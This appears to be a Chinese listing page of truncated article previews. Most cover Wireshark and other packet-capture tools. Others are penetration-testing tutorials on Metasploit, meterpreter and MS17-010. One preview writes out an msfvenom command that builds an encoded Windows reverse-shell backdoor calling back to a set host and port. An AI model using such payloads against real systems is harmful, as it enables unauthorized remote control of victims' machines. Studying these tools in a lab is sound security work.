第一次捕获数据包 为了能让Wireshark得到一些数据包，你可以开始你的第一次数据包捕获实验了。你可能会想：“当网络什么问题都没有的时候，怎么能捕获数据包呢？” 首先，网络总是有问题的。 其次，做数据包分析并不一定要等到有问题的时候再...
USB，是英文Universal Serial Bus（通用串行总线）的缩写，而其中文简称为“通串线”，是一个外部总线标准，用于规范电脑与外部设备的连接和通讯。USB接口支持设备的即插即用和热插拔功能，是应用在PC领域的接口技术。 现在，越...
1、网络测试环境构建 首先需要先配置好一个渗透测试用的网络环境，包括如图1所示的运行Kali Linux系统的计算机，如图2所示的老师给的Windows Server 2000系统的计算机。这两台计算机处于同一个网段中，可以相互通讯，Kali系统用作攻击机，下面将...
在写SDN控制器应用或者改写控制器源码的时候，经常需要抓包，验证网络功能，以及流表的执行结果等等，wireshark是个很好的抓包分析包的网络工具，下面简介如何用wireshark软件抓取OpenFlow数据包 一. wireshark2.0.0 wireshark2.0.0直接内置了Op...
Kali肯定是作为渗透测试环境的首选。我之前是有安装好Ruby IDE的，在这里推荐RubyMine。目前的版本是7.0.4，这个IDE真的很好用噢。 在继续之前，有必要更新一下Ruby，Kali自带的版本为ruby 1.9.3p194 (2012-04-20 revision 35410) [x86_64-linux]。...
metasploit本身功能非常强大，这里不多做介绍。 首先我们需要添加一个针对这个漏洞的exploit模块， 我们直接在样例上进行修改： root@bt:~/.msf4/modules# mkdir exploits root@bt:~/.msf4/modules# cd exploits root@bt:~/.msf4/modul...
Usage: db_autopwn [options] -h Display this help text -t Show all matching exploit modules -x Select modules based ...
今天就来看一下Mac上如何进行抓包，不过可惜的是，Fidder使用C#开发的，所以就不能在Mac上使用了，不过还有另外一个抓包神器，就是Charles，它是Java开发的，所以跨平台，不仅可以在Mac上使用，Linux以及Window下都是可以使用的，当然...
[TCP Out-Of-Order] 在TCP数据传输过程中，同一台主机发出的数据段应该是连续的，即后一个数据包的Seq应该等于前一个数据包的Seq+Len（三次握手和四次挥手是例外）。如果某一个数据包的Seq小于前一个数据包的Seq+Len，说明数据包的传送过程出现了乱...
生成windows后门 1.首先生成后门 [root@localhost ~]# msfvenom -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 5 lhost=192.168.1.1 lport=6666 -f exe > ./lyshark.exe 2.进入Metasploit，执行以下操作msf > use expl...
一. 配置ngrok准备内网穿透 内网穿透的必要性和原理就不用说了，直接说操作。首先到ngrok官网去注册一个号，国内也有一个sunny ngrok，但是我用了几次全失败了，所以推荐国外的，网址是： https://ngrok.com/ 。 我注册的时候面临验证码刷不出来...
今天来到一个大的计算机教室然后看到清一色的Windows7的电脑，首先就想到了昨年大名鼎鼎的勒索病毒 这个勒索病毒是利用了SMB服务的漏洞，微软的漏洞编号是ms17-010.可以来试一试！ 先看看这台电脑打过哪些补丁，控制面板-程序-查看已安装的更新-...
如果是chrome浏览器的数据流 直接配置”SSLKEYLOGFILE“就可以解密了。 实现过程： 1.配置系统环境变量 变量名：SSLKEYLOGFILE 变量值：随意指定一个存储路径，以便chrome输出keylog 2.配置Wireshark 填入你在系统变量中指定的keylo...
作为一个安全测试人员来说，首先要拿到网站所有url，然后根据拿到的url进行渗透测试进行漏洞挖掘。本文给大家介绍的是如何拿到一个网站所有的url。 深度爬取层级控制 整体架构图 相信大家对深度控制和架构已经有基本了解，剩下的代码大家直接...
背景信息： 某网站访问偶发性连接失败，时间点不一样，且不易复现，遂弄个脚本测试，如下1.#!/bin/bash2.tcpdump-ianyhostwww.aliyun.comandport80-s0-G60-Zroot-w%Y%m%d-%H%M%S.pcap&3.whiletrue;4.do5.code=$(curl--connect-timeout5-sL-w"%{...
0x00 前言 这里简要探究下meterpreter 的使用。meterpreter有个很有效的功能就是，除了持久化控制,其他的操作都在内存里面，不会写进物理磁盘。重启下各种痕迹就消失了。 0x01 权限提升getsystemmeterpreter > getuidServer username: TEST\A...
先介绍清楚环境，我用的是我的旧电脑，windows电脑，wireshark软件（这个是免费的，100分），抓的数据是Android和ios端的某些app的视频数据 这里插播一个我的心路历程吧，之前同事介绍用charles和wireshark，我都玩了一会，这两个软件都有windows版...
如果你想系统掌握 TLS 协议的细节，了解客户端和服务器消息的交互，非常好的学习工具就是 Wireshark，Wireshark 能够分析所有 TCP/IP 协议流量，自然也包括 TLS 协议。 最近想系统的解剖 TLS 1.3 协议的细节，所以就用到了这个工具考虑到 TLS 1.3 协...
安装运行SquidMan代理 在SquidMan的官网下载安装包，next一步步安装即可。 设置好SquidMan，如下： SquidMan设置界面 注意：这里的端口号设置，确保不被其它程序占用。 代理服务器运行成功如下图： 启动成功 手机客户端设置代理 ...
渗透测试工具是被用来测试网络和应用漏洞。下面E安全介绍多个综合型网络渗透测试工具，涵盖所有环境下的渗透测试操作： 扫描/渗透测试 OpenVAS ——是一个提供多种服务和工具的框架，用户可获取一个强大的综合性漏洞检测和漏洞管理方案。 Met...
